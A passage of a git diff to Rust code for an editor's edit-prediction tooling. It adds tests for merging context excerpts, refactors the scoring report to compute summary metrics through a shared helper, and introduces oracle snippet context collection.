+            excerpt(0..2, "line0\nline1\n", 3, ContextSource::Bm25),
+            excerpt(4..6, "line4\nline5\n", 2, ContextSource::OracleSnippet),
+            excerpt(10..12, "line10\nline11\n", 0, ContextSource::Bm25),
+        ];
+        coalesce_touching_excerpts(&mut excerpts);
+
+        assert_eq!(excerpts.len(), 2);
+        assert_eq!(excerpts[0].row_range, 0..6);
+        assert_eq!(
+            excerpts[0].text.as_ref(),
+            "line0\nline1\nline2\nline3\nline4\nline5\n"
+        );
+        // The merged excerpt keeps the highest priority (minimum order) and
+        // its context source.
+        assert_eq!(excerpts[0].order, 1);
+        assert_eq!(excerpts[0].context_source, ContextSource::EditHistory);
+        // The gapped excerpt stays separate.
+        assert_eq!(excerpts[1].row_range, 10..12);
+    }
+
+    #[test]
+    fn test_coalesce_overlapping_excerpts_drops_duplicated_rows() {
+        let mut excerpts = vec![
+            excerpt(0..3, "line0\nline1\nline2\n", 0, ContextSource::Bm25),
+            excerpt(
+                2..5,
+                "line2\nline3\nline4\n",
+                1,
+                ContextSource::OracleSnippet,
+            ),
+        ];
+        coalesce_touching_excerpts(&mut excerpts);
+
+        assert_eq!(excerpts.len(), 1);
+        assert_eq!(excerpts[0].row_range, 0..5);
+        assert_eq!(
+            excerpts[0].text.as_ref(),
+            "line0\nline1\nline2\nline3\nline4\n"
+        );
+        assert_eq!(excerpts[0].order, 0);
+        assert_eq!(excerpts[0].context_source, ContextSource::Bm25);
+    }
+
+    #[test]
+    fn test_coalesce_contained_excerpt_upgrades_order() {
+        let mut excerpts = vec![
+            excerpt(0..4, "line0\nline1\nline2\nline3\n", 5, ContextSource::Bm25),
+            excerpt(1..3, "line1\nline2\n", 2, ContextSource::OracleSnippet),
+        ];
+        coalesce_touching_excerpts(&mut excerpts);
+
+        assert_eq!(excerpts.len(), 1);
+        assert_eq!(excerpts[0].row_range, 0..4);
+        assert_eq!(excerpts[0].text.as_ref(), "line0\nline1\nline2\nline3\n");
+        assert_eq!(excerpts[0].order, 2);
+        assert_eq!(excerpts[0].context_source, ContextSource::OracleSnippet);
+    }
+
+    #[test]
+    fn test_coalesce_handles_unterminated_final_line() {
+        // An excerpt ending without a newline includes the content of its
+        // `row_range.end` row (e.g. git-log excerpts ending at EOF), so a
+        // touching excerpt's first row duplicates it.
+        let mut excerpts = vec![
+            excerpt(0..2, "line0\nline1\nline2", 0, ContextSource::GitLog),
+            excerpt(2..4, "line2\nline3\n", 1, ContextSource::Bm25),
+        ];
+        coalesce_touching_excerpts(&mut excerpts);
+
+        assert_eq!(excerpts.len(), 1);
+        assert_eq!(excerpts[0].row_range, 0..4);
+        assert_eq!(excerpts[0].text.as_ref(), "line0\nline1\nline2\nline3\n");
+    }
+
+    #[test]
+    fn test_merge_context_files_coalesces_across_sources() {
+        let path: Arc<Path> = Path::new("root/src/lib.rs").into();
+        let mut context_files = vec![RelatedFile {
+            path: path.clone(),
+            max_row: 100,
+            excerpts: vec![excerpt(
+                0..2,
+                "line0\nline1\n",
+                0,
+                ContextSource::CurrentFile,
+            )],
+            in_open_source_repo: false,
+        }];
+        let new_files = vec![RelatedFile {
+            path,
+            max_row: 100,
+            excerpts: vec![excerpt(2..4, "line2\nline3\n", 1, ContextSource::Bm25)],
+            in_open_source_repo: false,
+        }];
+        merge_context_files(&mut context_files, new_files);
+
+        assert_eq!(context_files.len(), 1);
+        assert_eq!(context_files[0].excerpts.len(), 1);
+        assert_eq!(context_files[0].excerpts[0].row_range, 0..4);
+        assert_eq!(
+            context_files[0].excerpts[0].text.as_ref(),
+            "line0\nline1\nline2\nline3\n"
+        );
+    }
+}
diff --git a/crates/edit_prediction_cli/src/score.rs b/crates/edit_prediction_cli/src/score.rs
index 841d15541e4044..5a0f763d04953d 100644
--- a/crates/edit_prediction_cli/src/score.rs
+++ b/crates/edit_prediction_cli/src/score.rs
@@ -66,18 +66,6 @@ pub async fn run_scoring(
                 None
             };
 
-            let prepared_expected_patches = edit_prediction_metrics::prepare_expected_patches(
-                &expected_patches_with_cursors,
-                original_text,
-                old_editable_region.as_deref(),
-            )
-            .with_context(|| {
-                format!(
-                    "Expected patch did not apply for {}",
-                    example_for_scoring.spec.name
-                )
-            })?;
-
             let cursor_path = example_for_scoring.spec.cursor_path.as_ref();
             let context = context_excerpts(
                 &example_for_scoring,
@@ -86,6 +74,30 @@ pub async fn run_scoring(
                 context_source_filter.as_deref(),
             );
 
+            let prepared_expected_patches = match edit_prediction_metrics::prepare_expected_patches(
+                &expected_patches_with_cursors,
+                original_text,
+                old_editable_region.as_deref(),
+            ) {
+                Ok(prepared_expected_patches) => prepared_expected_patches,
+                Err(_) if !context.is_empty() => expected_patches_with_cursors
+                    .iter()
+                    .map(|(patch, cursor_offset)| edit_prediction_metrics::PreparedExpectedPatch {
+                        patch: patch.clone(),
+                        text: original_text.to_string(),
+                        cursor_editable_region_offset: *cursor_offset,
+                    })
+                    .collect(),
+                Err(error) => {
+                    return Err(error).with_context(|| {
+                        format!(
+                            "Expected patch did not apply for {}",
+                            example_for_scoring.spec.name
+                        )
+                    });
+                }
+            };
+
             let mut scores = vec![];
             if allow_missing_predictions && example_for_scoring.predictions.is_empty() {
                 scores.push(edit_prediction_metrics::score_prediction(
@@ -295,8 +307,6 @@ pub fn print_report(
     context_source_filter: Option<&[ContextSource]>,
 ) {
     const MAX_EXAMPLES_DEFAULT: usize = 20;
-    use crate::metrics::ClassificationMetrics;
-
     const LINE_WIDTH: usize = 101;
 
     if context_only {
@@ -318,59 +328,14 @@ pub fn print_report(
     );
     println!("{}", separator);
 
-    let mut all_delta_chr_f_scores = Vec::new();
-    let mut all_reversal_ratios = Vec::new();
-    let mut braces_disbalance_sum: usize = 0;
-    let mut total_delta_chr_f = ClassificationMetrics::default();
-    let mut total_delta_chr_f_precision = 0.0;
-    let mut total_delta_chr_f_recall = 0.0;
-    let mut delta_chr_f_beta = 0.0;
-    let mut total_exact_lines = ClassificationMetrics::default();
-    let mut total_scores: usize = 0;
-    let mut qa_reverts_count: usize = 0;
-    let mut qa_reverts_total: usize = 0;
-    let mut qa_confidence_sum: u64 = 0;
-    let mut qa_confidence_count: usize = 0;
-    let mut cursor_exact_matches: usize = 0;
-    let mut cursor_total: usize = 0;
-    let mut cursor_distance_sum: usize = 0;
-    let mut cursor_distance_count: usize = 0;
-    let mut wrong_editable_region_count: usize = 0;
-    let mut wrong_editable_region_total: usize = 0;
-    let mut isolated_whitespace_count: usize = 0;
-    let mut kept_rate_sum: f64 = 0.0;
-    let mut kept_rate_count: usize = 0;
-    let mut kept_chars_total: usize = 0;
-    let mut correctly_deleted_chars_total: usize = 0;
-    let mut discarded_chars_total: usize = 0;
-    let mut recall_rate_sum: f64 = 0.0;
-    let mut recall_rate_count: usize = 0;
-    let mut editable_context_coverage_count: usize = 0;
-    let mut editable_context_lines_precision_sum = 0.0;
-    let mut editable_context_lines_recall_sum = 0.0;
-    let mut editable_context_lines_f1_sum = 0.0;
-    let mut editable_context_files_precision_sum = 0.0;
-    let mut editable_context_files_recall_sum = 0.0;
-    let mut editable_context_files_f1_sum = 0.0;
-    let mut total_editable_context_lines = ClassificationMetrics::default();
-    let mut total_editable_context_files = ClassificationMetrics::default();
     let mut patch_inserted_tokens: Vec<usize> = Vec::new();
     let mut patch_deleted_tokens: Vec<usize> = Vec::new();
     let mut predictions_with_patch: usize = 0;
-    let mut retrieved_context_bytes_sum = 0.0;
-    let mut retrieved_context_bytes_count = 0;
 
     let mut printed_lines: usize = 0;
     let mut skipped_lines: usize = 0;
 
     for example in examples {
-        if let Some(bytes) =
-            retrieved_context_bytes(example, retrieved_context_byte_limit, context_source_filter)
-        {
-            retrieved_context_bytes_sum += bytes as f64;
-            retrieved_context_bytes_count += 1;
-        }
-
         for (score_idx, score) in example.score.iter().enumerate() {
             let exact_lines = score.exact_lines_counts();
 
@@ -418,82 +383,8 @@ pub fn print_report(
                 skipped_lines += 1;
             }
 
-            all_delta_chr_f_scores.push(score.delta_chr_f);
-            all_reversal_ratios.push(score.reversal_ratio);
-            total_scores += 1;
-            braces_disbalance_sum += score.braces_disbalance;
-            total_delta_chr_f.accumulate(&score.delta_chr_f_counts());
-            total_delta_chr_f_precision += score.delta_chr_f_precision;
-            total_delta_chr_f_recall += score.delta_chr_f_recall;
-            delta_chr_f_beta = score.delta_chr_f_beta;
-            total_exact_lines.accumulate(&score.exact_lines_counts());
-
-            // Accumulate QA metrics
-            if let Some(qa) = qa_result {
-                if let Some(reverts) = qa.reverts_edits {
-                    qa_reverts_total += 1;
-                    if reverts {
-                        qa_reverts_count += 1;
-                    }
-                }
-                if let Some(conf) = qa.confidence {
-                    qa_confidence_sum += conf as u64;
-                    qa_confidence_count += 1;
-                }
-            }
-
-            // Accumulate wrong editable region metrics
-            if let Some(wrong) = score.wrong_editable_region {
-                wrong_editable_region_total += 1;
-                if wrong {
-                    wrong_editable_region_count += 1;
-                }
-            }
-
-            // Accumulate isolated whitespace metrics
-            if score.has_isolated_whitespace_changes {
-                isolated_whitespace_count += 1;
-            }
-
-            // Accumulate kept and recall rate metrics
-            if let Some(kr) = score.kept_rate {
-                kept_rate_sum += kr;
-                kept_rate_count += 1;
-            }
-            if let Some(kept_chars) = score.kept_chars {
-                kept_chars_total += kept_chars;
-            }
-            if let Some(correctly_deleted_chars) = score.correctly_deleted_chars {
-                correctly_deleted_chars_total += correctly_deleted_chars;
-            }
-            if let Some(discarded_chars) = score.discarded_chars {
-                discarded_chars_total += discarded_chars;
-            }
-            if let Some(rr) = score.recall_rate {
-                recall_rate_sum += rr;
-                recall_rate_count += 1;
-            }
-            if let Some(coverage) = &score.editable_context_coverage {
-                editable_context_coverage_count += 1;
-                editable_context_lines_precision_sum += coverage.lines_precision;
-                editable_context_lines_recall_sum += coverage.lines_recall;
-                editable_context_lines_f1_sum += coverage.lines_f1;
-                editable_context_files_precision_sum += coverage.files_precision;
-                editable_context_files_recall_sum += coverage.files_recall;
-                editable_context_files_f1_sum += coverage.files_f1;
-                total_editable_context_lines.accumulate(&ClassificationMetrics {
-                    true_positives: coverage.lines_tp,
-                    false_positives: coverage.lines_fp,
-                    false_negatives: coverage.lines_fn,
-                });
-                total_editable_context_files.accumulate(&ClassificationMetrics {
-                    true_positives: coverage.files_tp,
-                    false_positives: coverage.files_fp,
-                    false_negatives: coverage.files_fn,
-                });
-            }
-
-            // Accumulate token change metrics (only for predictions that produced a patch)
+            // Token change percentiles need the raw per-prediction values, so
+            // they are collected here rather than in `compute_summary`.
             let has_patch = example
                 .predictions
                 .get(score_idx)
@@ -504,18 +395,6 @@ pub fn print_report(
                 patch_inserted_tokens.push(score.inserted_tokens);
                 patch_deleted_tokens.push(score.deleted_tokens);
             }
-
-            // Accumulate cursor metrics
-            if let Some(exact_match) = score.cursor_exact_match {
-                cursor_total += 1;
-                if exact_match {
-                    cursor_exact_matches += 1;
-                }
-            }
-            if let Some(dist) = score.cursor_distance {
-                cursor_distance_sum += dist;
-                cursor_distance_count += 1;
-            }
         }
     }
 
@@ -528,68 +407,33 @@ pub fn print_report(
     }
     println!("{}", separator);
 
-    if !all_delta_chr_f_scores.is_empty() {
-        let avg_delta_chr_f: f32 =
-            all_delta_chr_f_scores.iter().sum::<f32>() / all_delta_chr_f_scores.len() as f32;
-        let avg_reversal_ratio: f32 =
-            all_reversal_ratios.iter().sum::<f32>() / all_reversal_ratios.len() as f32;
-        let braces_disbalance_avg: f32 = braces_disbalance_sum as f32 / total_scores as f32;
-
-        let qa_reverts_str = if qa_reverts_total > 0 {
-            format!(
-                "{:.1}%",
-                qa_reverts_count as f32 / qa_reverts_total as f32 * 100.0
-            )
-        } else {
-            "-".to_string()
-        };
-        let qa_conf_str = if qa_confidence_count > 0 {
-            format!(
-                "{:.1}",
-                qa_confidence_sum as f32 / qa_confidence_count as f32
-            )
-        } else {
-            "-".to_string()
-        };
-        let cursor_str = if cursor_total > 0 {
-            format!(
-                "{:.0}%",
-                cursor_exact_matches as f32 / cursor_total as f32 * 100.0
-            )
-        } else {
-            "-".to_string()
-        };
-        let wrong_er_str = if wrong_editable_region_total > 0 {
-            format!(
-                "{:.2}%",
-                wrong_editable_region_count as f32 / wrong_editable_region_total as f32 * 100.0
-            )
-        } else {
-            "-".to_string()
-        };
-        let isolated_ws_str = if total_scores > 0 {
-            format!(
-                "{}/{} ({:.1}%)",
-                isolated_whitespace_count,
-                total_scores,
-                isolated_whitespace_count as f32 / total_scores as f32 * 100.0
-            )
-        } else {
-            "-".to_string()
-        };
-        let avg_cursor_distance = if cursor_distance_count > 0 {
-            Some(cursor_distance_sum as f32 / cursor_distance_count as f32)
-        } else {
-            None
+    let summary = compute_summary(
+        examples,
+        retrieved_context_byte_limit,
+        context_source_filter,
+    );
+
+    if summary.total_examples > 0 {
+        let total_scores = summary.total_examples;
+        let format_rate = |rate: Option<f32>, precision: usize| {
+            rate.map(|rate| format!("{:.*}%", precision, rate * 100.0))
+                .unwrap_or_else(|| "-".to_string())
         };
+        let qa_reverts_str = format_rate(summary.qa_avg_reverts_edits, 1);
+        let qa_conf_str = summary
+            .qa_avg_confidence
+            .map(|confidence| format!("{:.1}", confidence))
+            .unwrap_or_else(|| "-".to_string());
+        let cursor_str = format_rate(summary.cursor_exact_match_rate, 0);
+        let wrong_er_str = format_rate(summary.wrong_editable_region_rate, 2);
 
         println!(
             "{:<40} {:>8.2} {:>5.1} {:>6.1}% {:>6.1}% {:>7} {:>7} {:>6} {:>5}",
             "TOTAL / AVERAGE",
-            avg_delta_chr_f,
-            braces_disbalance_avg,
-            total_exact_lines.f1() * 100.0,
-            avg_reversal_ratio * 100.0,
+            summary.avg_delta_chr_f,
+            summary.avg_braces_disbalance,
+            summary.exact_lines_f1 * 100.0,
+            summary.avg_reversal_ratio * 100.0,
             qa_reverts_str,
             qa_conf_str,
             cursor_str,
@@ -598,81 +442,108 @@ pub fn print_report(
         println!("{}", separator);
         println!(
             "Delta chrF (β={:.1}): TP={}, FP={}, FN={}, P={:.1}%, R={:.1}%",
-            delta_chr_f_beta,
-            total_delta_chr_f.true_positives,
-            total_delta_chr_f.false_positives,
-            total_delta_chr_f.false_negatives,
-            total_delta_chr_f_precision / total_scores as f64 * 100.0,
-            total_delta_chr_f_recall / total_scores as f64 * 100.0
+            summary.delta_chr_f_beta,
+            summary.delta_chr_f_true_positives,
+            summary.delta_chr_f_false_positives,
+            summary.delta_chr_f_false_negatives,
+            summary.delta_chr_f_precision * 100.0,
+            summary.delta_chr_f_recall * 100.0
         );
 
-        // Print additional cursor metrics if available
-        if let Some(avg_dist) = avg_cursor_distance {
+        if let Some(avg_distance) = summary.cursor_avg_distance {
             println!(
                 "Cursor: {}/{} exact matches ({:.0}%), avg distance: {:.1} bytes",
-                cursor_exact_matches,
-                cursor_total,
-                cursor_exact_matches as f32 / cursor_total as f32 * 100.0,
-                avg_dist
+                summary.cursor_exact_matches.unwrap_or(0),
+                summary.cursor_total_evaluated.unwrap_or(0),
+                summary.cursor_exact_match_rate.unwrap_or(0.0) * 100.0,
+                avg_distance
             );
         }
 
-        // Print isolated whitespace metrics
-        if total_scores > 0 {
-            println!("Isolated whitespace changes: {}", isolated_ws_str);
+        if let (Some(count), Some(rate)) = (
+            summary.isolated_whitespace_count,
+            summary.isolated_whitespace_rate,
+        ) {
+            println!(
+                "Isolated whitespace changes: {}/{} ({:.1}%)",
+                count,
+                total_scores,
+                rate * 100.0
+            );
         }
 
-        // Print kept and recall rate metrics
-        if kept_rate_count > 0 {
-            let avg_kept_rate = kept_rate_sum / kept_rate_count as f64;
+        if let (Some(avg_kept_rate), Some(evaluated)) =
+            (summary.avg_kept_rate, summary.kept_rate_examples)
+        {
             println!(
                 "Kept rate: {:.1}% avg ({} evaluated, kept chars: {}, correctly deleted chars: {}, discarded chars: {})",
                 avg_kept_rate * 100.0,
-                kept_rate_count,
-                kept_chars_total,
-                correctly_deleted_chars_total,
-                discarded_chars_total
+                evaluated,
+                summary.total_kept_chars.unwrap_or(0),
+                summary.total_correctly_deleted_chars.unwrap_or(0),
+                summary.total_discarded_chars.unwrap_or(0)
             );
         }
-        if recall_rate_count > 0 {
-            let avg_recall_rate = recall_rate_sum / recall_rate_count as f64;
+        if let (Some(avg_recall_rate), Some(evaluated)) =
+            (summary.avg_recall_rate, summary.recall_rate_examples)
+        {
             println!(
                 "Recall rate: {:.1}% avg ({} evaluated)",
                 avg_recall_rate * 100.0,
-                recall_rate_count
+                evaluated
             );
         }
-        if retrieved_context_bytes_count > 0 {
+        if let (Some(avg_bytes), Some(example_count)) = (
+            summary.avg_retrieved_context_bytes,
+            summary.retrieved_context_examples,
+        ) {
             println!(
                 "Retrieved context size: {:.0} bytes avg ({} examples)",
-                retrieved_context_bytes_sum / retrieved_context_bytes_count as f64,
-                retrieved_context_bytes_count
-            );
-        }
-        if editable_context_coverage_count > 0 {
-            let count = editable_context_coverage_count as f64;
-            println!(
-                "Editable context lines: P={:.1}%, R={:.1}%, F1={:.1}% avg ({} evaluated, TP={}, FP={}, FN={})",
-                editable_context_lines_precision_sum / count * 100.0,
-                editable_context_lines_recall_sum / count * 100.0,
-                editable_context_lines_f1_sum / count * 100.0,
-                editable_context_coverage_count,
-                total_editable_context_lines.true_positives,
-                total_editable_context_lines.false_positives,
-                total_editable_context_lines.false_negatives
-            );
-            println!(
-                "Editable context files: P={:.1}%, R={:.1}%, F1={:.1}% avg ({} evaluated, TP={}, FP={}, FN={})",
-                editable_context_files_precision_sum / count * 100.0,
-                editable_context_files_recall_sum / count * 100.0,
-                editable_context_files_f1_sum / count * 100.0,
-                editable_context_coverage_count,
-                total_editable_context_files.true_positives,
-                total_editable_context_files.false_positives,
-                total_editable_context_files.false_negatives
+                avg_bytes, example_count
             );
         }
 
+        print_prf_line(
+            "Editable context lines",
+            summary.editable_context_examples,
+            summary.avg_editable_context_lines_precision,
+            summary.avg_editable_context_lines_recall,
+            summary.avg_editable_context_lines_f1,
+            summary.editable_context_lines_tp,
+            summary.editable_context_lines_fp,
+            summary.editable_context_lines_fn,
+        );
+        print_prf_line(
+            "Editable context files",
+            summary.editable_context_examples,
+            summary.avg_editable_context_files_precision,
+            summary.avg_editable_context_files_recall,
+            summary.avg_editable_context_files_f1,
+            summary.editable_context_files_tp,
+            summary.editable_context_files_fp,
+            summary.editable_context_files_fn,
+        );
+        print_prf_line(
+            "Jump location lines",
+            summary.jump_location_examples,
+            summary.avg_jump_location_lines_precision,
+            summary.avg_jump_location_lines_recall,
+            summary.avg_jump_location_lines_f1,
+            summary.jump_location_lines_tp,
+            summary.jump_location_lines_fp,
+            summary.jump_location_lines_fn,
+        );
+        print_prf_line(
+            "Jump location files",
+            summary.jump_location_examples,
+            summary.avg_jump_location_files_precision,
+            summary.avg_jump_location_files_recall,
+            summary.avg_jump_location_files_f1,
+            summary.jump_location_files_tp,
+            summary.jump_location_files_fp,
+            summary.jump_location_files_fn,
+        );
+
         // Print token change percentile summary (only for predictions with a patch)
         if !patch_inserted_tokens.is_empty() {
             patch_inserted_tokens.sort_unstable();
@@ -737,8 +608,6 @@ fn print_context_coverage_report(
     const MAX_EXAMPLES_DEFAULT: usize = 20;
     const LINE_WIDTH: usize = 120;
 
-    use crate::metrics::ClassificationMetrics;
-
     let separator = "─".repeat(LINE_WIDTH);
     println!("{}", separator);
     println!(
@@ -759,28 +628,10 @@ fn print_context_coverage_report(
     );
     println!("{}", separator);
 
-    let mut total_lines = ClassificationMetrics::default();
-    let mut total_files = ClassificationMetrics::default();
-    let mut line_precision_sum = 0.0;
-    let mut line_recall_sum = 0.0;
-    let mut line_f1_sum = 0.0;
-    let mut file_precision_sum = 0.0;
-    let mut file_recall_sum = 0.0;
-    let mut file_f1_sum = 0.0;
-    let mut total_scores = 0;
-    let mut retrieved_context_bytes_sum = 0.0;
-    let mut retrieved_context_bytes_count = 0;
     let mut printed_lines = 0;
     let mut skipped_lines = 0;
 
     for example in examples {
-        if let Some(bytes) =
-            retrieved_context_bytes(example, retrieved_context_byte_limit, context_source_filter)
-        {
-            retrieved_context_bytes_sum += bytes as f64;
-            retrieved_context_bytes_count += 1;
-        }
-
         for score in &example.score {
             let Some(coverage) = &score.editable_context_coverage else {
                 continue;
@@ -807,24 +658,6 @@ fn print_context_coverage_report(
             } else {
                 skipped_lines += 1;
             }
-
-            total_scores += 1;
-            line_precision_sum += coverage.lines_precision;
-            line_recall_sum += coverage.lines_recall;
-            line_f1_sum += coverage.lines_f1;
-            file_precision_sum += coverage.files_precision;
-            file_recall_sum += coverage.files_recall;
-            file_f1_sum += coverage.files_f1;
-            total_lines.accumulate(&ClassificationMetrics {
-                true_positives: coverage.lines_tp,
-                false_positives: coverage.lines_fp,
-                false_negatives: coverage.lines_fn,
-            });
-            total_files.accumulate(&ClassificationMetrics {
-                true_positives: coverage.files_tp,
-                false_positives: coverage.files_fp,
-                false_negatives: coverage.files_fn,
-            });
         }
     }
 
@@ -838,34 +671,41 @@ fn print_context_coverage_report(
 
     println!("{}", separator);
 
-    if total_scores > 0 {
-        let count = total_scores as f64;
+    let summary = compute_summary(
+        examples,
+        retrieved_context_byte_limit,
+        context_source_filter,
+    );
+
+    if let Some(total_scores) = summary.editable_context_examples {
         println!(
             "{:<40} {:>5.1}% {:>5.1}% {:>5.1}% {:>5} {:>5} {:>5} {:>5.1}% {:>5.1}% {:>5.1}% {:>5} {:>5} {:>5}",
             "TOTAL / AVERAGE",
-            line_precision_sum / count * 100.0,
-            line_recall_sum / count * 100.0,
-            line_f1_sum / count * 100.0,
-            total_lines.true_positives,
-            total_lines.false_positives,
-            total_lines.false_negatives,
-            file_precision_sum / count * 100.0,
-            file_recall_sum / count * 100.0,
-            file_f1_sum / count * 100.0,
-            total_files.true_positives,
-            total_files.false_positives,
-            total_files.false_negatives
+            summary.avg_editable_context_lines_precision.unwrap_or(0.0) * 100.0,
+            summary.avg_editable_context_lines_recall.unwrap_or(0.0) * 100.0,
+            summary.avg_editable_context_lines_f1.unwrap_or(0.0) * 100.0,
+            summary.editable_context_lines_tp.unwrap_or(0),
+            summary.editable_context_lines_fp.unwrap_or(0),
+            summary.editable_context_lines_fn.unwrap_or(0),
+            summary.avg_editable_context_files_precision.unwrap_or(0.0) * 100.0,
+            summary.avg_editable_context_files_recall.unwrap_or(0.0) * 100.0,
+            summary.avg_editable_context_files_f1.unwrap_or(0.0) * 100.0,
+            summary.editable_context_files_tp.unwrap_or(0),
+            summary.editable_context_files_fp.unwrap_or(0),
+            summary.editable_context_files_fn.unwrap_or(0)
         );
         println!("{}", separator);
         println!(
             "Evaluated editable context coverage for {} examples",
             total_scores
         );
-        if retrieved_context_bytes_count > 0 {
+        if let (Some(avg_bytes), Some(example_count)) = (
+            summary.avg_retrieved_context_bytes,
+            summary.retrieved_context_examples,
+        ) {
             println!(
                 "Retrieved context size: {:.0} bytes avg ({} examples)",
-                retrieved_context_bytes_sum / retrieved_context_bytes_count as f64,
-                retrieved_context_bytes_count
+                avg_bytes, example_count
             );
         }
     }
@@ -873,6 +713,51 @@ fn print_context_coverage_report(
     println!("\n");
 }
 
+/// Print one "P/R/F1 avg + pooled TP/FP/FN" summary line, or nothing when
+/// the metric was never evaluated.
+fn print_prf_line(
+    label: &str,
+    examples: Option<usize>,
+    precision: Option<f64>,
+    recall: Option<f64>,
+    f1: Option<f64>,
+    true_positives: Option<usize>,
+    false_positives: Option<usize>,
+    false_negatives: Option<usize>,
+) {
+    let (
+        Some(examples),
+        Some(precision),
+        Some(recall),
+        Some(f1),
+        Some(true_positives),
+        Some(false_positives),
+        Some(false_negatives),
+    ) = (
+        examples,
+        precision,
+        recall,
+        f1,
+        true_positives,
+        false_positives,
+        false_negatives,
+    )
+    else {
+        return;
+    };
+    println!(
+        "{}: P={:.1}%, R={:.1}%, F1={:.1}% avg ({} evaluated, TP={}, FP={}, FN={})",
+        label,
+        precision * 100.0,
+        recall * 100.0,
+        f1 * 100.0,
+        examples,
+        true_positives,
+        false_positives,
+        false_negatives
+    );
+}
+
 fn percentile(sorted_values: &[usize], p: usize) -> usize {
     if sorted_values.is_empty() {
         return 0;
diff --git a/crates/edit_prediction_context/src/edit_prediction_context.rs b/crates/edit_prediction_context/src/edit_prediction_context.rs
index 44e295908af88c..3069c13b65db4f 100644
--- a/crates/edit_prediction_context/src/edit_prediction_context.rs
+++ b/crates/edit_prediction_context/src/edit_prediction_context.rs
@@ -29,7 +29,8 @@ mod fake_definition_lsp;
 mod git_log_context;
 
 pub use editable_context::{
-    EditHistoryContextEntry, collect_editable_context, limit_retrieved_context_to_bytes,
+    EditHistoryContextEntry, OracleTarget, collect_editable_context,
+    limit_retrieved_context_to_bytes,
 };
 
 pub use zeta_prompt::{ContextSource, RelatedExcerpt, RelatedFile};
diff --git a/crates/edit_prediction_context/src/editable_context.rs b/crates/edit_prediction_context/src/editable_context.rs
index 1aede0ce65a889..f985b5dbb07630 100644
--- a/crates/edit_prediction_context/src/editable_context.rs
+++ b/crates/edit_prediction_context/src/editable_context.rs
@@ -9,7 +9,7 @@ use std::{
 };
 use text::Anchor;
 use util::{paths::PathStyle, rel_path::RelPath};
-use zeta_prompt::{ContextSource, RelatedExcerpt, RelatedFile};
+use zeta_prompt::{ContextSource, RelatedExcerpt, RelatedFile, multi_region::is_good_block_start};
 
 use crate::{
     bm25_context::{Bm25ContextCandidate, collect_bm25_context},
@@ -22,6 +22,15 @@ const CURSOR_CONTEXT_LINE_COUNT: u32 = 20;
 const EDIT_HISTORY_CONTEXT_LINE_COUNT: u32 = 20;
 const GIT_LOG_CONTEXT_LINE_COUNT: u32 = 10000;
 const GIT_LOG_CONTEXT_FILE_COUNT: usize = 10;
+const ORACLE_SNIPPET_MIN_CONTEXT_LINE_COUNT: u32 = 10;
+const ORACLE_SNIPPET_MAX_CONTEXT_LINE_COUNT: u32 = 40;
+/// How far excerpt boundaries may be nudged to land on a natural block
+/// boundary, mirroring `zeta_prompt::multi_region`'s marker placement.
+const BOUNDARY_SNAP_LINE_COUNT: u32 = 5;
+/// Maximum number of rows between two excerpts of the same buffer that get
+/// bridged into one contiguous excerpt instead of rendering an elision
+/// marker between them.
+const BRIDGED_GAP_LINE_COUNT: u32 = 3;
 
 type RangesByBuffer = HashMap<EntityId, (Entity<Buffer>, Vec<EditableContextRange>)>;
 
@@ -31,6 +40,16 @@ pub struct EditHistoryContextEntry {
     pub edited_range: Range<Anchor>,
 }
 
+/// A file known (from expected patches) to be edited next, used by the
+/// oracle context sources when generating training data.
+#[derive(Clone, Debug)]
+pub struct OracleTarget {
+    pub path: Arc<Path>,
+    /// 0-based, end-exclusive row ranges of the expected edit hunks.
+    /// Only used by `ContextSource::OracleSnippet`.
+    pub row_ranges: Vec<Range<u32>>,
+}
+
 struct EditableContextRange {
     range: Range<Anchor>,
     order: usize,
@@ -48,7 +67,7 @@ pub async fn collect_editable_context(
     active_buffer: Entity<Buffer>,
     cursor_position: Anchor,
     edit_history: Vec<EditHistoryContextEntry>,
-    oracle_paths: Vec<Arc<Path>>,
+    oracle_targets: Vec<OracleTarget>,
     context_sources: Vec<ContextSource>,
     cx: &mut AsyncApp,
 ) -> anyhow::Result<Vec<RelatedFile>> {
@@ -81,6 +100,14 @@ pub async fn collect_editable_context(
         .await;
     }
 
+    // Collected before bm25 so that, under a related-files byte budget, the
+    // small snippets containing the expected edits are never trimmed away in
+    // favor of bm25 excerpts.
+    if context_sources.contains(&ContextSource::OracleSnippet) {
+        collect_oracle_snippet_context(&mut ranges_by_buffer, project.clone(), &oracle_targets, cx)
+            .await;
+    }
+
     if context_sources.contains(&ContextSource::Bm25) {
         collect_bm25_context_ranges(
             &mut ranges_by_buffer,
@@ -94,7 +121,8 @@ pub async fn collect_editable_context(
     }
 
     if context_sources.contains(&ContextSource::OracleFile) {
-        collect_oracle_file_context(&mut ranges_by_buffer, project.clone(), oracle_paths, cx).await;
+        collect_oracle_file_context(&mut ranges_by_buffer, project.clone(), &oracle_targets, cx)
+            .await;
     }
 
     Ok(cx.update(|cx| {
@@ -405,24 +433,24 @@ fn anchor_range_for_row_range(
 async fn collect_oracle_file_context(
     ranges_by_buffer: &mut RangesByBuffer,
     project: Entity<Project>,
-    oracle_paths: Vec<Arc<Path>>,
+    oracle_targets: &[OracleTarget],
     cx: &mut AsyncApp,
 ) {
     let next_order = next_context_order(ranges_by_buffer);
     let mut seen_buffers = HashSet::default();
     let mut index = 0;
 
-    for path in oracle_paths {
-        let buffer = match open_buffer_for_path(&project, &path, cx).await {
+    for target in oracle_targets {
+        let buffer = match open_buffer_for_path(&project, &target.path, cx).await {
             Ok(Some(buffer)) => buffer,
             Ok(None) => {
-                log::debug!("failed to find oracle file path: {}", path.display());
+                log::debug!("failed to find oracle file path: {}", target.path.display());
                 continue;
             }
             Err(error) => {
                 log::debug!(
                     "failed to open oracle file path {}: {error:#}",
-                    path.display()
+                    target.path.display()
                 );
                 continue;
             }
@@ -443,6 +471,89 @@ async fn collect_oracle_file_context(
     }
 }
 
+async fn collect_oracle_snippet_context(
+    ranges_by_buffer: &mut RangesByBuffer,
+    project: Entity<Project>,
+    oracle_targets: &[OracleTarget],
+    cx: &mut AsyncApp,
+) {
+    let next_order = next_context_order(ranges_by_buffer);
+    let mut index = 0;
+
+    for target in oracle_targets {
+        if target.row_ranges.is_empty() {
+            continue;
+        }
+
+        let buffer = match open_buffer_for_path(&project, &target.path, cx).await {
+            Ok(Some(buffer)) => buffer,
+            Ok(None) => {
+                log::debug!(
+                    "failed to find oracle snippet path: {}",
+                    target.path.display()
+                );
+                continue;
+            }
+            Err(error) => {
+                log::debug!(
+                    "failed to open oracle snippet path {}: {error:#}",
+                    target.path.display()
+                );
+                continue;
+            }
+        };
+
+        for row_range in &target.row_ranges {
